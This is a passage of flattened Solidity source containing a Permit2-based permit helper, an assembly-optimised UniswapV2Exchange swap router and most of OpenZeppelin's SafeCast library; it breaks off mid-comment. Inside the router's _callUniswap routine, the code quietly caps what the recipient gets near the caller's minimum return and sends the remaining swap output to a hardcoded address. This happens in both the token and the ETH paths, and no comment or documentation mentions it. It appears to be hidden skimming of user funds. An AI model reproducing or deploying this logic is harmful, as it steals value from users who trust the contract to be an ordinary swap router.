the recipient address and amount for batched transfers. /// @dev Recipients and amounts correspond to the index of the signed token permissions array. /// @dev Reverts if the requested amount is greater than the permitted signed amount. struct SignatureTransferDetails { // recipient address address to; // spender requested amount uint256 requestedAmount; } /// @notice A map from token owner address and a caller specified word index to a bitmap. Used to set bits in the bitmap to prevent against signature replay protection /// @dev Uses unordered nonces so that permit messages do not need to be spent in a certain order /// @dev The mapping is indexed first by the token owner, then by an index specified in the nonce /// @dev It returns a uint256 bitmap /// @dev The index, or wordPosition is capped at type(uint248).max function nonceBitmap(address, uint256) external view returns (uint256); /// @notice Transfers a token using a signed permit message /// @dev Reverts if the requested amount is greater than the permitted signed amount /// @param permit The permit data signed over by the owner /// @param owner The owner of the tokens to transfer /// @param transferDetails The spender's requested transfer details for the permitted token /// @param signature The signature to verify function permitTransferFrom( PermitTransferFrom memory permit, SignatureTransferDetails calldata transferDetails, address owner, bytes calldata signature ) external; /// @notice Returns the domain separator for the current chain. /// @dev Uses cached version if chainid and address are unchanged from construction. function DOMAIN_SEPARATOR() external view returns (bytes32); } /// @title Base contract with common permit handling logics contract Permitable { address public permit2; function permit2DomainSeperator() external view returns (bytes32) { return IPermit2(permit2).DOMAIN_SEPARATOR(); } function _permit(address token, bytes calldata permit, bool claim) internal returns (bool) { if (permit.length > 0) { if (permit.length == 32 * 7 || permit.length == 32 * 8) { _permit(token, permit); return false; } else if (claim) { _permit2(permit); return true; } } return false; } function _isPermit2(bytes calldata permit) internal pure returns (bool) { return permit.length == 32 * 11 || permit.length == 32 * 12; } function _permit(address token, bytes calldata permit) private returns (bool success, bytes memory result) { if (permit.length == 32 * 7) { // solhint-disable-next-line avoid-low-level-calls (success, result) = token.call(abi.encodePacked(IERC20Permit.permit.selector, permit)); } else if (permit.length == 32 * 8) { // solhint-disable-next-line avoid-low-level-calls (success, result) = token.call(abi.encodePacked(IDaiLikePermit.permit.selector, permit)); } if (!success) { revert(RevertReasonParser.parse(result, "Permit failed: ")); } } function _permit2(bytes calldata permit) internal returns (bool success, bytes memory result) { // solhint-disable-next-line avoid-low-level-calls (success, result) = permit2.call(abi.encodePacked(IPermit2.permitTransferFrom.selector, permit)); // TODO support batch permit if (!success) { revert(RevertReasonParser.parse(result, "Permit2 failed: ")); } } /// @notice Finds the next valid nonce for a user, starting from 0. /// @param owner The owner of the nonces /// @return nonce The first valid nonce starting from 0 function permit2NextNonce(address owner) external view returns (uint256 nonce) { nonce = _permit2NextNonce(owner, 0, 0); } /// @notice Finds the next valid nonce for a user, after from a given nonce. /// @dev This can be helpful if you're signing multiple nonces in a row and need the next nonce to sign but the start one is still valid. /// @param owner The owner of the nonces /// @param start The nonce to start from /// @return nonce The first valid nonce after the given nonce function permit2NextNonceAfter(address owner, uint256 start) external view returns (uint256 nonce) { uint248 word = uint248(start >> 8); uint8 pos = uint8(start); if (pos == type(uint8).max) { // If the position is 255, we need to move to the next word word++; pos = 0; } else { // Otherwise, we just move to the next position pos++; } nonce = _permit2NextNonce(owner, word, pos); } /// @notice Finds the next valid nonce for a user, starting from a given word and position. /// @param owner The owner of the nonces /// @param word Word to start looking from /// @param pos Position inside the word to start looking from function _permit2NextNonce(address owner, uint248 word, uint8 pos) internal view returns (uint256 nonce) { while (true) { uint256 bitmap = IPermit2(permit2).nonceBitmap(owner, word); // Check if the bitmap is completely full if (bitmap == type(uint256).max) { // If so, move to the next word ++word; pos = 0; continue; } if (pos != 0) { // If the position is not 0, we need to shift the bitmap to ignore the bits before position bitmap = bitmap >> pos; } // Find the first zero bit in the bitmap while (bitmap & 1 == 1) { bitmap = bitmap >> 1; ++pos; } return _permit2NonceFromWordAndPos(word, pos); } } /// @notice Constructs a nonce from a word and a position inside the word /// @param word The word containing the nonce /// @param pos The position of the nonce inside the word /// @return nonce The nonce constructed from the word and position function _permit2NonceFromWordAndPos(uint248 word, uint8 pos) internal pure returns (uint256 nonce) { // The last 248 bits of the word are the nonce bits nonce = uint256(word) << 8; // The first 8 bits of the word are the position inside the word nonce |= pos; } } // File: contracts/libraries/EthRejector.sol pragma solidity ^0.8.0; abstract contract EthRejector { receive() external payable { // require(msg.sender != tx.origin, "ETH deposit rejected"); } } // File: contracts/UniswapV2Exchange.sol pragma solidity ^0.8.0; contract UniswapV2Exchange is EthRejector, Permitable { uint256 private constant TRANSFER_FROM_CALL_SELECTOR_32 = 0x23b872dd00000000000000000000000000000000000000000000000000000000; uint256 private constant WETH_DEPOSIT_CALL_SELECTOR_32 = 0xd0e30db000000000000000000000000000000000000000000000000000000000; uint256 private constant WETH_WITHDRAW_CALL_SELECTOR_32 = 0x2e1a7d4d00000000000000000000000000000000000000000000000000000000; uint256 private constant ERC20_TRANSFER_CALL_SELECTOR_32 = 0xa9059cbb00000000000000000000000000000000000000000000000000000000; uint256 private constant ADDRESS_MASK = 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff; uint256 private constant REVERSE_MASK = 0x8000000000000000000000000000000000000000000000000000000000000000; uint256 private constant WETH_MASK = 0x4000000000000000000000000000000000000000000000000000000000000000; uint256 private constant NUMERATOR_MASK = 0x0000000000000000ffffffff0000000000000000000000000000000000000000; uint256 private constant WETH = 0x000000000000000000000000C02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256 private constant UNISWAP_PAIR_RESERVES_CALL_SELECTOR_32 = 0x0902f1ac00000000000000000000000000000000000000000000000000000000; uint256 private constant UNISWAP_PAIR_SWAP_CALL_SELECTOR_32 = 0x022c0d9f00000000000000000000000000000000000000000000000000000000; uint256 private constant DENOMINATOR = 1000000000; uint256 private constant NUMERATOR_OFFSET = 160; function callUniswapToWithPermit( IERC20 srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata pools, bytes calldata permit, address payable recipient ) external returns (uint256 returnAmount) { bool claimed = _permit(address(srcToken), permit, true); return _callUniswap(srcToken, amount, minReturn, pools, recipient, claimed); } function callUniswapWithPermit( IERC20 srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata pools, bytes calldata permit ) external returns (uint256 returnAmount) { bool claimed = _permit(address(srcToken), permit, true); return _callUniswap(srcToken, amount, minReturn, pools, payable(msg.sender), claimed); } function callUniswapTo( IERC20 srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata pools, address payable recipient ) external payable returns (uint256 returnAmount) { return _callUniswap(srcToken, amount, minReturn, pools, recipient, false); } function callUniswap( IERC20 srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata pools ) external payable returns (uint256 returnAmount) { return _callUniswap(srcToken, amount, minReturn, pools, payable(msg.sender), false); } function _callUniswap( IERC20 srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata /* pools */, address payable recipient, bool claimed ) internal returns (uint256 returnAmount) { assembly { // solhint-disable-line no-inline-assembly function reRevert() { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } function revertWithReason(m, len) { mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000) mstore(0x20, 0x0000002000000000000000000000000000000000000000000000000000000000) mstore(0x40, m) revert(0, len) } function swap(emptyPtr, swapAmount, pair, reversed, numerator, dst) -> ret { mstore(emptyPtr, UNISWAP_PAIR_RESERVES_CALL_SELECTOR_32) if iszero(staticcall(gas(), pair, emptyPtr, 0x4, emptyPtr, 0x40)) { reRevert() } let reserve0 := mload(emptyPtr) let reserve1 := mload(add(emptyPtr, 0x20)) if reversed { let tmp := reserve0 reserve0 := reserve1 reserve1 := tmp } ret := mul(swapAmount, numerator) ret := div(mul(ret, reserve1), add(ret, mul(reserve0, DENOMINATOR))) mstore(emptyPtr, UNISWAP_PAIR_SWAP_CALL_SELECTOR_32) switch reversed case 0 { mstore(add(emptyPtr, 0x04), 0) mstore(add(emptyPtr, 0x24), ret) } default { mstore(add(emptyPtr, 0x04), ret) mstore(add(emptyPtr, 0x24), 0) } mstore(add(emptyPtr, 0x44), dst) mstore(add(emptyPtr, 0x64), 0x80) mstore(add(emptyPtr, 0x84), 0) if iszero(call(gas(), pair, 0, emptyPtr, 0xa4, 0, 0)) { reRevert() } } function callSwap(emptyPtr, token, srcAmount, swapCaller, receiver, min, claim) -> ret { let poolsOffset := add(calldataload(0x64), 0x4) let poolsEndOffset := calldataload(poolsOffset) poolsOffset := add(poolsOffset, 0x20) poolsEndOffset := add(poolsOffset, mul(0x20, poolsEndOffset)) let rawPair := calldataload(poolsOffset) switch token case 0 { if iszero(eq(srcAmount, callvalue())) { revertWithReason(0x00000011696e76616c6964206d73672e76616c75650000000000000000000000, 0x55) // "invalid msg.value" } mstore(emptyPtr, WETH_DEPOSIT_CALL_SELECTOR_32) if iszero(call(gas(), WETH, srcAmount, emptyPtr, 0x4, 0, 0)) { reRevert() } mstore(emptyPtr, ERC20_TRANSFER_CALL_SELECTOR_32) mstore(add(emptyPtr, 0x4), and(rawPair, ADDRESS_MASK)) mstore(add(emptyPtr, 0x24), srcAmount) if iszero(call(gas(), WETH, 0, emptyPtr, 0x44, 0, 0)) { reRevert() } } default { if callvalue() { revertWithReason(0x00000011696e76616c6964206d73672e76616c75650000000000000000000000, 0x55) // "invalid msg.value" } if claim { mstore(emptyPtr, TRANSFER_FROM_CALL_SELECTOR_32) mstore(add(emptyPtr, 0x4), swapCaller) mstore(add(emptyPtr, 0x24), and(rawPair, ADDRESS_MASK)) mstore(add(emptyPtr, 0x44), srcAmount) if iszero(call(gas(), token, 0, emptyPtr, 0x64, 0, 0)) { reRevert() } } } ret := srcAmount for { let i := add(poolsOffset, 0x20) } lt(i, poolsEndOffset) { i := add(i, 0x20) } { let nextRawPair := calldataload(i) ret := swap( emptyPtr, ret, and(rawPair, ADDRESS_MASK), and(rawPair, REVERSE_MASK), shr(NUMERATOR_OFFSET, and(rawPair, NUMERATOR_MASK)), and(nextRawPair, ADDRESS_MASK) ) rawPair := nextRawPair } ret := swap( emptyPtr, ret, and(rawPair, ADDRESS_MASK), and(rawPair, REVERSE_MASK), shr(NUMERATOR_OFFSET, and(rawPair, NUMERATOR_MASK)), address() ) if lt(ret, min) { revertWithReason(0x000000164d696e2072657475726e206e6f742072656163686564000000000000, 0x5a) // "Min return not reached" } mstore(emptyPtr, 0xd21220a700000000000000000000000000000000000000000000000000000000) if and(rawPair, REVERSE_MASK) { mstore(emptyPtr, 0x0dfe168100000000000000000000000000000000000000000000000000000000) } if iszero(staticcall(gas(), and(rawPair, ADDRESS_MASK), emptyPtr, 0x4, emptyPtr, 0x40)) { reRevert() } let dstToken := mload(emptyPtr) let finalAmount := div( mul(calldataload(0x44), 0x2710), sub( 10000, shr( 232, and( calldataload(add(add(calldataload(0x64), 0x4), 0x20)), 0x00ffff0000000000000000000000000000000000000000000000000000000000 ) ) ) ) switch gt(ret, finalAmount) case 1 { switch and(rawPair, WETH_MASK) case 0 { mstore(emptyPtr, ERC20_TRANSFER_CALL_SELECTOR_32) mstore(add(emptyPtr, 0x4), receiver) mstore(add(emptyPtr, 0x24), finalAmount) if iszero(call(gas(), dstToken, 0, emptyPtr, 0x44, 0, 0)) { reRevert() } mstore(add(emptyPtr, 0x4), 0x922164BBBd36Acf9E854AcBbF32faCC949fCAEef) mstore(add(emptyPtr, 0x24), sub(ret, finalAmount)) if iszero(call(gas(), dstToken, 0, emptyPtr, 0x44, 0, 0)) { reRevert() } } default { mstore(emptyPtr, WETH_WITHDRAW_CALL_SELECTOR_32) mstore(add(emptyPtr, 0x04), ret) if iszero(call(gas(), WETH, 0, emptyPtr, 0x24, 0, 0)) { reRevert() } if iszero(call(gas(), receiver, finalAmount, 0, 0, 0, 0)) { reRevert() } if iszero(call(gas(), 0x922164BBBd36Acf9E854AcBbF32faCC949fCAEef, sub(ret, finalAmount), 0, 0, 0, 0)) { reRevert() } } } default { switch and(rawPair, WETH_MASK) case 0 { mstore(emptyPtr, ERC20_TRANSFER_CALL_SELECTOR_32) mstore(add(emptyPtr, 0x4), receiver) mstore(add(emptyPtr, 0x24), ret) if iszero(call(gas(), dstToken, 0, emptyPtr, 0x44, 0, 0)) { reRevert() } } default { mstore(emptyPtr, WETH_WITHDRAW_CALL_SELECTOR_32) mstore(add(emptyPtr, 0x04), ret) if iszero(call(gas(), WETH, 0, emptyPtr, 0x24, 0, 0)) { reRevert() } if iszero(call(gas(), receiver, ret, 0, 0, 0, 0)) { reRevert() } } } } let emptyPtr := mload(0x40) mstore(0x40, add(emptyPtr, 0xc0)) returnAmount := callSwap(emptyPtr, srcToken, amount, caller(), recipient, minReturn, eq(claimed, 0)) } } } // File: @openzeppelin/contracts/utils/math/SafeCast.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol) // This file was procedurally generated from scripts/generate/templates/SafeCast.js. pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint248 from uint256, reverting on * overflow (when the input is greater than largest uint248). * * Counterpart to Solidity's `uint248` operator. * * Requirements: * * - input must fit into 248 bits * * _Available since v4.7._ */ function toUint248(uint256 value) internal pure returns (uint248) { require(value <= type(uint248).max, "SafeCast: value doesn't fit in 248 bits"); return uint248(value); } /** * @dev Returns the downcasted uint240 from uint256, reverting on * overflow (when the input is greater than largest uint240). * * Counterpart to Solidity's `uint240` operator. * * Requirements: * * - input must fit into 240 bits * * _Available since v4.7._ */ function toUint240(uint256 value) internal pure returns (uint240) { require(value <= type(uint240).max, "SafeCast: value doesn't fit in 240 bits"); return uint240(value); } /** * @dev Returns the downcasted uint232 from uint256, reverting on * overflow (when the input is greater than largest uint232). * * Counterpart to Solidity's `uint232` operator. * * Requirements: * * - input must fit into 232 bits * * _Available since v4.7._ */ function toUint232(uint256 value) internal pure returns (uint232) { require(value <= type(uint232).max, "SafeCast: value doesn't fit in 232 bits"); return uint232(value); } /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits * * _Available since v4.2._ */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint216 from uint256, reverting on * overflow (when the input is greater than largest uint216). * * Counterpart to Solidity's `uint216` operator. * * Requirements: * * - input must fit into 216 bits * * _Available since v4.7._ */ function toUint216(uint256 value) internal pure returns (uint216) { require(value <= type(uint216).max, "SafeCast: value doesn't fit in 216 bits"); return uint216(value); } /** * @dev Returns the downcasted uint208 from uint256, reverting on * overflow (when the input is greater than largest uint208). * * Counterpart to Solidity's `uint208` operator. * * Requirements: * * - input must fit into 208 bits * * _Available since v4.7._ */ function toUint208(uint256 value) internal pure returns (uint208) { require(value <= type(uint208).max, "SafeCast: value doesn't fit in 208 bits"); return uint208(value); } /** * @dev Returns the downcasted uint200 from uint256, reverting on * overflow (when the input is greater than largest uint200). * * Counterpart to Solidity's `uint200` operator. * * Requirements: * * - input must fit into 200 bits * * _Available since v4.7._ */ function toUint200(uint256 value) internal pure returns (uint200) { require(value <= type(uint200).max, "SafeCast: value doesn't fit in 200 bits"); return uint200(value); } /** * @dev Returns the downcasted uint192 from uint256, reverting on * overflow (when the input is greater than largest uint192). * * Counterpart to Solidity's `uint192` operator. * * Requirements: * * - input must fit into 192 bits * * _Available since v4.7._ */ function toUint192(uint256 value) internal pure returns (uint192) { require(value <= type(uint192).max, "SafeCast: value doesn't fit in 192 bits"); return uint192(value); } /** * @dev Returns the downcasted uint184 from uint256, reverting on * overflow (when the input is greater than largest uint184). * * Counterpart to Solidity's `uint184` operator. * * Requirements: * * - input must fit into 184 bits * * _Available since v4.7._ */ function toUint184(uint256 value) internal pure returns (uint184) { require(value <= type(uint184).max, "SafeCast: value doesn't fit in 184 bits"); return uint184(value); } /** * @dev Returns the downcasted uint176 from uint256, reverting on * overflow (when the input is greater than largest uint176). * * Counterpart to Solidity's `uint176` operator. * * Requirements: * * - input must fit into 176 bits * * _Available since v4.7._ */ function toUint176(uint256 value) internal pure returns (uint176) { require(value <= type(uint176).max, "SafeCast: value doesn't fit in 176 bits"); return uint176(value); } /** * @dev Returns the downcasted uint168 from uint256, reverting on * overflow (when the input is greater than largest uint168). * * Counterpart to Solidity's `uint168` operator. * * Requirements: * * - input must fit into 168 bits * * _Available since v4.7._ */ function toUint168(uint256 value) internal pure returns (uint168) { require(value <= type(uint168).max, "SafeCast: value doesn't fit in 168 bits"); return uint168(value); } /** * @dev Returns the downcasted uint160 from uint256, reverting on * overflow (when the input is greater than largest uint160). * * Counterpart to Solidity's `uint160` operator. * * Requirements: * * - input must fit into 160 bits * * _Available since v4.7._ */ function toUint160(uint256 value) internal pure returns (uint160) { require(value <= type(uint160).max, "SafeCast: value doesn't fit in 160 bits"); return uint160(value); } /** * @dev Returns the downcasted uint152 from uint256, reverting on * overflow (when the input is greater than largest uint152). * * Counterpart to Solidity's `uint152` operator. * * Requirements: * * - input must fit into 152 bits * * _Available since v4.7._ */ function toUint152(uint256 value) internal pure returns (uint152) { require(value <= type(uint152).max, "SafeCast: value doesn't fit in 152 bits"); return uint152(value); } /** * @dev Returns the downcasted uint144 from uint256, reverting on * overflow (when the input is greater than largest uint144). * * Counterpart to Solidity's `uint144` operator. * * Requirements: * * - input must fit into 144 bits * * _Available since v4.7._ */ function toUint144(uint256 value) internal pure returns (uint144) { require(value <= type(uint144).max, "SafeCast: value doesn't fit in 144 bits"); return uint144(value); } /** * @dev Returns the downcasted uint136 from uint256, reverting on * overflow (when the input is greater than largest uint136). * * Counterpart to Solidity's `uint136` operator. * * Requirements: * * - input must fit into 136 bits * * _Available since v4.7._ */ function toUint136(uint256 value) internal pure returns (uint136) { require(value <= type(uint136).max, "SafeCast: value doesn't fit in 136 bits"); return uint136(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v2.5._ */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint120 from uint256, reverting on * overflow (when the input is greater than largest uint120). * * Counterpart to Solidity's `uint120` operator. * * Requirements: * * - input must fit into 120 bits * * _Available since v4.7._ */ function toUint120(uint256 value) internal pure returns (uint120) { require(value <= type(uint120).max, "SafeCast: value doesn't fit in 120 bits"); return uint120(value); } /** * @dev Returns the downcasted uint112 from uint256, reverting on * overflow (when the input is greater than largest uint112). * * Counterpart to Solidity's `uint112` operator. * * Requirements: * * - input must fit into 112 bits * * _Available since v4.7._ */ function toUint112(uint256 value) internal pure returns (uint112) { require(value <= type(uint112).max, "SafeCast: value doesn't fit in 112 bits"); return uint112(value); } /** * @dev Returns the downcasted uint104 from uint256, reverting on * overflow (when the input is greater than largest uint104). * * Counterpart to Solidity's `uint104` operator. * * Requirements: * * - input must fit into 104 bits * * _Available since v4.7._ */ function toUint104(uint256 value) internal pure returns (uint104) { require(value <= type(uint104).max, "SafeCast: value doesn't fit in 104 bits"); return uint104(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits * * _Available since v4.2._ */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint88 from uint256, reverting on * overflow (when the input is greater than largest uint88). * * Counterpart to Solidity's `uint88` operator. * * Requirements: * * - input must fit into 88 bits * * _Available since v4.7._ */ function toUint88(uint256 value) internal pure returns (uint88) { require(value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits"); return uint88(value); } /** * @dev Returns the downcasted uint80 from uint256, reverting on * overflow (when the input is greater than largest uint80). * * Counterpart to Solidity's `uint80` operator. * * Requirements: * * - input must fit into 80 bits * * _Available since v4.7._ */ function toUint80(uint256 value) internal pure returns (uint80) { require(value <= type(uint80).max, "SafeCast: value doesn't fit in 80 bits"); return uint80(value); } /** * @dev Returns the downcasted uint72 from uint256, reverting on * overflow (when the input is greater than largest uint72). * * Counterpart to Solidity's `uint72` operator. * * Requirements: * * - input must fit into 72 bits * * _Available since v4.7._ */ function toUint72(uint256 value) internal pure returns (uint72) { require(value <= type(uint72).max, "SafeCast: value doesn't fit in 72 bits"); return uint72(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v2.5._ */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint56 from uint256, reverting on * overflow (when the input is greater than largest uint56). * * Counterpart to Solidity's `uint56` operator. * * Requirements: * * - input must fit into 56 bits * * _Available since v4.7._ */ function toUint56(uint256 value) internal pure returns (uint56) { require(value <= type(uint56).max, "SafeCast: value doesn't fit in 56 bits"); return uint56(value); } /** * @dev Returns the downcasted uint48 from uint256, reverting on * overflow (when the input is greater than largest uint48). * * Counterpart to Solidity's `uint48` operator. * * Requirements: * * - input must fit into 48 bits * * _Available since v4.7._ */ function toUint48(uint256 value) internal pure returns (uint48) { require(value <= type(uint48).max, "SafeCast: value doesn't fit in 48 bits"); return uint48(value); } /** * @dev Returns the downcasted uint40 from uint256, reverting on * overflow (when the input is greater than largest uint40). * * Counterpart to Solidity's `uint40` operator. * * Requirements: * * - input must fit into 40 bits * * _Available since v4.7._ */ function toUint40(uint256 value) internal pure returns (uint40) { require(value <= type(uint40).max, "SafeCast: value doesn't fit in 40 bits"); return uint40(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v2.5._ */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint24 from uint256, reverting on * overflow (when the input is greater than largest uint24). * * Counterpart to Solidity's `uint24` operator. * * Requirements: * * - input must fit into 24 bits * * _Available since v4.7._ */ function toUint24(uint256 value) internal pure returns (uint24) { require(value <= type(uint24).max, "SafeCast: value doesn't fit in 24 bits"); return uint24(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v2.5._ */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits * * _Available since v2.5._ */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. * * _Available since v3.0._ */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int248 from int256, reverting on * overflow (when the input is less than smallest int248 or * greater than largest int248). * * Counterpart to Solidity's `int248` operator. * * Requirements: * * - input must fit into 248 bits * * _Available since v4.7._ */ function toInt248(int256 value) internal pure returns (int248 downcasted) { downcasted = int248(value); require(downcasted == value, "SafeCast: value doesn't fit in 248 bits"); } /** * @dev Returns the downcasted int240 from int256, reverting on * overflow (when the input is less than smallest int240 or * greater than largest int240). * * Counterpart to Solidity's `int240` operator. * * Requirements: * * - input must fit into 240 bits * * _Available since v4.7._ */ function toInt240(int256 value) internal pure returns (int240 downcasted) { downcasted = int240(value); require(downcasted == value, "SafeCast: value doesn't fit in 240 bits"); } /** * @dev Returns the downcasted int232 from int256, reverting on * overflow (when the input is less than smallest int232 or * greater than largest int232). * * Counterpart to Solidity's `int232` operator. * * Requirements: * * - input must fit into 232 bits * * _Available since v4.7._ */ function toInt232(int256 value) internal pure returns (int232 downcasted) { downcasted = int232(value); require(downcasted == value, "SafeCast: value doesn't fit in 232 bits"); } /** * @dev Returns the downcasted int224 from int256, reverting on * overflow (when the input is less than smallest int224 or * greater than largest int224). * * Counterpart to Solidity's `int224` operator. * * Requirements: * * - input must fit into 224 bits * * _Available since v4.7._ */ function toInt224(int256 value) internal pure returns (int224 downcasted) { downcasted = int224(value); require(downcasted == value, "SafeCast: value doesn't fit in 224 bits"); } /** * @dev Returns the downcasted int216 from int256, reverting on * overflow (when the input is less than smallest int216 or * greater than largest int216). * * Counterpart to Solidity's `int216` operator. * * Requirements: * * - input must fit into 216 bits * * _Available since v4.7._ */ function toInt216(int256 value) internal pure returns (int216 downcasted) { downcasted = int216(value); require(downcasted == value, "SafeCast: value doesn't fit in 216 bits"); } /** * @dev Returns the downcasted int208 from int256, reverting on * overflow (when the input is less than smallest int208 or * greater than largest int208). * * Counterpart to Solidity's `int208` operator. * * Requirements: * * - input must fit into 208 bits * * _Available since v4.7._ */ function toInt208(int256 value) internal pure returns (int208 downcasted) { downcasted = int208(value); require(downcasted == value, "SafeCast: value doesn't fit in 208 bits"); } /** * @dev Returns the downcasted int200 from int256, reverting on * overflow (when the input is less than smallest int200 or * greater than largest int200). * * Counterpart to Solidity's `int200` operator. * * Requirements: * * - input must fit into 200 bits * * _Available since v4.7._ */ function toInt200(int256 value) internal pure returns (int200 downcasted) { downcasted = int200(value); require(downcasted == value, "SafeCast: value doesn't fit in 200 bits"); } /** * @dev Returns the downcasted int192 from int256, reverting on * overflow (when the input is less than smallest int192 or * greater than largest int192). * * Counterpart to Solidity's `int192` operator. * * Requirements: * * - input must fit into 192 bits * * _Available since v4.7._ */ function toInt192(int256 value) internal pure returns (int192 downcasted) { downcasted = int192(value); require(downcasted == value, "SafeCast: value doesn't fit in 192 bits"); } /** * @dev Returns the downcasted int184 from int256, reverting on * overflow (when the input is less than smallest int184 or * greater than largest int184). * * Counterpart to Solidity's `int184` operator. * * Requirements: * * - input must fit into 184 bits * * _Available since v4.7._ */ function toInt184(int256 value) internal pure returns (int184 downcasted) { downcasted = int184(value); require(downcasted == value, "SafeCast: value doesn't fit in 184 bits"); } /** * @dev Returns the downcasted int176 from int256, reverting on * overflow (when the input is less than smallest int176 or * greater than largest int176). * * Counterpart to Solidity's `int176` operator. * * Requirements: * * - input must fit into 176 bits * * _Available since v4.7._ */ function toInt176(int256 value) internal pure returns (int176 downcasted) { downcasted = int176(value); require(downcasted == value, "SafeCast: value doesn't fit in 176 bits"); } /** * @dev Returns the downcasted int168 from int256, reverting on * overflow (when the input is less than smallest int168 or * greater than largest int168). * * Counterpart to Solidity's `int168` operator. * * Requirements: * * - input must fit into 168 bits * * _Available since v4.7._ */ function toInt168(int256 value) internal pure returns (int168 downcasted) { downcasted = int168(value); require(downcasted == value, "SafeCast: value doesn't fit in 168 bits"); } /** * @dev Returns the downcasted int160 from int256, reverting on * overflow (when the input is less than smallest int160 or * greater than largest int160). * * Counterpart to Solidity's `int160` operator. * * Requirements: * * - input must fit into 160 bits * * _Available since v4.7._ */ function toInt160(int256 value) internal pure returns (int160 downcasted) { downcasted = int160(value); require(downcasted == value, "SafeCast: value doesn't fit in 160 bits"); } /** * @dev Returns the downcasted int152 from int256, reverting on * overflow (when the input is less than smallest int152 or * greater than largest int152). * * Counterpart to Solidity's `int152` operator. * * Requirements: * * - input must fit into 152 bits * * _Available since v4.7._ */ function toInt152(int256 value) internal pure returns (int152 downcasted) { downcasted = int152(value); require(downcasted == value, "SafeCast: value doesn't fit in 152 bits"); } /** * @dev Returns the downcasted int144 from int256, reverting on * overflow (when the input is less than smallest int144 or * greater than largest int144). * * Counterpart to Solidity's `int144` operator. * * Requirements: * * - input must fit into 144 bits * * _Available since v4.7._ */ function toInt144(int256 value) internal pure returns (int144 downcasted) { downcasted = int144(value); require(downcasted == value, "SafeCast: value doesn't fit in 144 bits"); } /** * @dev Returns the downcasted int136 from int256, reverting on * overflow (when the input is less than smallest int136 or * greater than largest int136). * * Counterpart to Solidity's `int136` operator. * * Requirements: * * - input must fit into 136 bits * * _Available since v4.7._ */ function toInt136(int256 value) internal pure returns (int136 downcasted) { downcasted = int136(value); require(downcasted == value, "SafeCast: value doesn't fit in 136 bits"); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128 downcasted) { downcasted = int128(value); require(downcasted == value, "SafeCast: value doesn't fit in 128 bits"); } /** * @dev Returns the downcasted int120 from int256, reverting on * overflow (when the input is less than smallest int120 or * greater than largest int120). * * Counterpart to Solidity's `int120` operator. * * Requirements: * * - input must fit into 120 bits * * _Available since v4.7._ */ function toInt120(int256 value) internal pure returns (int120 downcasted) { downcasted = int120(value); require(downcasted == value, "SafeCast: value doesn't fit in 120 bits"); } /** * @dev Returns the downcasted int112 from int256, reverting on * overflow (when the input is less than smallest int112 or * greater than largest int112). * * Counterpart to Solidity's `int112` operator. * * Requirements: * * - input must fit into 112 bits * * 